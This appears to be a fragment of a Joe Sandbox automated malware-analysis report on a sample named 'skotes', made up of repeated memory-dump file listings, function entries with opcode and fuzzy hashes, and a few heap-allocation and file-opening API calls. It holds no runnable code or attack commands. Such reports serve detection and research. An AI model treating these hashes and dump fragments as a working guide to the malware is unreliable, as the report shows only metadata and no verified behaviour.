Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 24af0d1ea8b4968fd318e75d287ed500fb71b2cfeeb1fc74533e68941ab12b73
Instruction ID: 2e0ac2f4cd58ece3ef934dc2f1273d53064f9513c50d8363cc8f41540032641b
Opcode Fuzzy Hash: 24af0d1ea8b4968fd318e75d287ed500fb71b2cfeeb1fc74533e68941ab12b73
Instruction Fuzzy Hash: 8D111571A0420AAFCB05DF58E9419DE7BF4EF48304F1440A9F809AB351DA70EE21CB65

Function 00BBD82F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00BBA813,00000001,00000364,00000006,000000FF,?,00B9D3FC,670DF653,?,00B97A8B,?), ref: 00BBD871

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7de0f7b09d33b1b0835e0de6f271fdc97c246d7c5bc95d0f96dc3446698e1be6
Instruction ID: fd48194b4498c69c9e94a8e7e91ab8a05ba24ed48ff12b74c64c5e011fc5cff0
Opcode Fuzzy Hash: 7de0f7b09d33b1b0835e0de6f271fdc97c246d7c5bc95d0f96dc3446698e1be6
Instruction Fuzzy Hash: 66F0E93160112467EB212A729C01AFB37D9DF85372B1480A1ED089B181FEE8EC0086E0

Function 00BBB04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,670DF653,?,?,00B9D3FC,670DF653,?,00B97A8B,?,?,?,?,?,?,00B87465,?), ref: 00BBB07E

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5d784b25ad899f5163a7af3cef8c703c52f3a910670af584c6b04dd303505103
Instruction ID: 7b1a4608ffec1a7e00018e1125b52d67b1aeffe5cba2a27b579c3e88a301a9ec
Opcode Fuzzy Hash: 5d784b25ad899f5163a7af3cef8c703c52f3a910670af584c6b04dd303505103
Instruction Fuzzy Hash: 34E06D3524122697EA3132768C80FFFB7C8DB423A0F9502A1EE6996190EFE0DC0082E1

Function 00BC1775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00BC1B65,?,?,00000000,?,00BC1B65,00000000,0000000C), ref: 00BC1792

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f520bfd0c1be017ce496360f2216f61659ed049555d6fa84ac1a13e31e98006b
Instruction ID: d0c9620b25540bf31c4c748b9ce7b257635cd928deb531a5389b885ec3f5a5d1
Opcode Fuzzy Hash: f520bfd0c1be017ce496360f2216f61659ed049555d6fa84ac1a13e31e98006b
Instruction Fuzzy Hash: 8CD0923204010DBBDF129E84DC02EDE3BAAFF88758F018110BE1C66020C732E871AB94

Function 049D0C2A Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3404048544.00000000049D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49d0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b09516fdd2e29a5a7c3cb81866b92b3a4bccaae36e437b4327ab69d0d6025c58
Instruction ID: e183dc82b268c0629da02b41867cfea22e51025b844deae5cb21ea411f0fb5d4
Opcode Fuzzy Hash: b09516fdd2e29a5a7c3cb81866b92b3a4bccaae36e437b4327ab69d0d6025c58
Instruction Fuzzy Hash: 8E11B4F638D110BD614240A66B54AF66B1FE6D6738F30CD37B80BC6642F355295E7032

Function 049D0BBD Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3404048544.00000000049D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49d0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52ffeca2b10f4f97bc9b42a6230982552caa499753ecbef15634949bdb61e622
Instruction ID: e0b2329f9c4b72eddaf30486fbeb3816362a1a4b8eaa34dd8795d096781430dd
Opcode Fuzzy Hash: 52ffeca2b10f4f97bc9b42a6230982552caa499753ecbef15634949bdb61e622
Instruction Fuzzy Hash: 2D11B6E634D210BDB14240666B54BF66B1FE6D6738F30CD37B84BC6A42B7942A5A7032

Function 049D0BC6 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3404048544.00000000049D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49d0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1965bc16f93dde776510aab7df7d732acfab4de2b87fea993c2f731cf6038c0a
Instruction ID: df6358a07e654e3741200cfb99cbe89f17fcbd75d99d67406242d74b06e8ea83
Opcode Fuzzy Hash: 1965bc16f93dde776510aab7df7d732acfab4de2b87fea993c2f731cf6038c0a
Instruction Fuzzy Hash: 5511D2F634D214BD614240A62B54AFA6B1FD6D2738B30C937B807CA642F3552A5A7031

Function 049D0C4F Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3404048544.00000000049D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49d0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e41376fcdd985d89cae2e966b2650b7b59e948ce17f7258c15dd694ec709b3ee
Instruction ID: 2b3967fd0d718c1ea736a9aae23dde8308f71cfe3d433f676929fd9e987af350
Opcode Fuzzy Hash: e41376fcdd985d89cae2e966b2650b7b59e948ce17f7258c15dd694ec709b3ee
Instruction Fuzzy Hash: 771103E724E154BDA20284626B50AFA2B6FD2C2734B31CC27F447C9506F259298E6132

Function 049D0BF0 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3404048544.00000000049D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49d0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87fe3d5824cca151a428dc3d5d752ab598c768e6ef85b6105fe5a63dda62a6b3
Instruction ID: af0182c414225222acd9b7fb8af465f74192240c83be30a77d8fad0a7bf44612
Opcode Fuzzy Hash: 87fe3d5824cca151a428dc3d5d752ab598c768e6ef85b6105fe5a63dda62a6b3
Instruction Fuzzy Hash: 2111B2E634D210BEA14141662F64AFA2B2FE2D2738B30C937F847C5642F7552A5A7132

Function 049D0BDA Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3404048544.00000000049D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49d0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 735e4c2428f0e99f3e5d1a2a692286f80de62ee24e54e068bb3719cc92e78a73
Instruction ID: 0c3a0ada16898bb61fec516e31d9b17b2802cb7f6941a6f3a9880a00608fdc0a
Opcode Fuzzy Hash: 735e4c2428f0e99f3e5d1a2a692286f80de62ee24e54e068bb3719cc92e78a73
Instruction Fuzzy Hash: A211B2E634D214BD614244666B54AFA2B2FE2D6734F30CD37F80BC6502F3542A5A7032

Function 049D0C02 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3404048544.00000000049D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49d0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bb34767be29c45f0418db555eb537765acc79b626a503a6fc9f21cb22795884
Instruction ID: 17421e8326bf3b5a8385763a82743759fd6f1a62d111cba7a10e6f836f0e3be9
Opcode Fuzzy Hash: 4bb34767be29c45f0418db555eb537765acc79b626a503a6fc9f21cb22795884
Instruction Fuzzy Hash: 751182EA34D110BD714140622B54AFA6B1FE2D6734B30CD37F80BC5642F3552A5A7032

Function 049D0C14 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3404048544.00000000049D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49d0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bae277f718c49f24604c5f596ac38991df0780ff737506925ee487cd6b321090
Instruction ID: de6731d84c367d5e47645a30864c8f350c07c4f2ff7ba79b9f974e248301dfc1
Opcode Fuzzy Hash: bae277f718c49f24604c5f596ac38991df0780ff737506925ee487cd6b321090
Instruction Fuzzy Hash: ED11ADFA34D210BD614184A26B18BFA2B2FD2D6B34B31CD37F80BC9546F3552A5A7072

Function 049D0D50 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3404048544.00000000049D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49d0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3fbc1b1d1b2d37297831bb57e826f4a2df4ffa890cbc1cb5072356692067c90
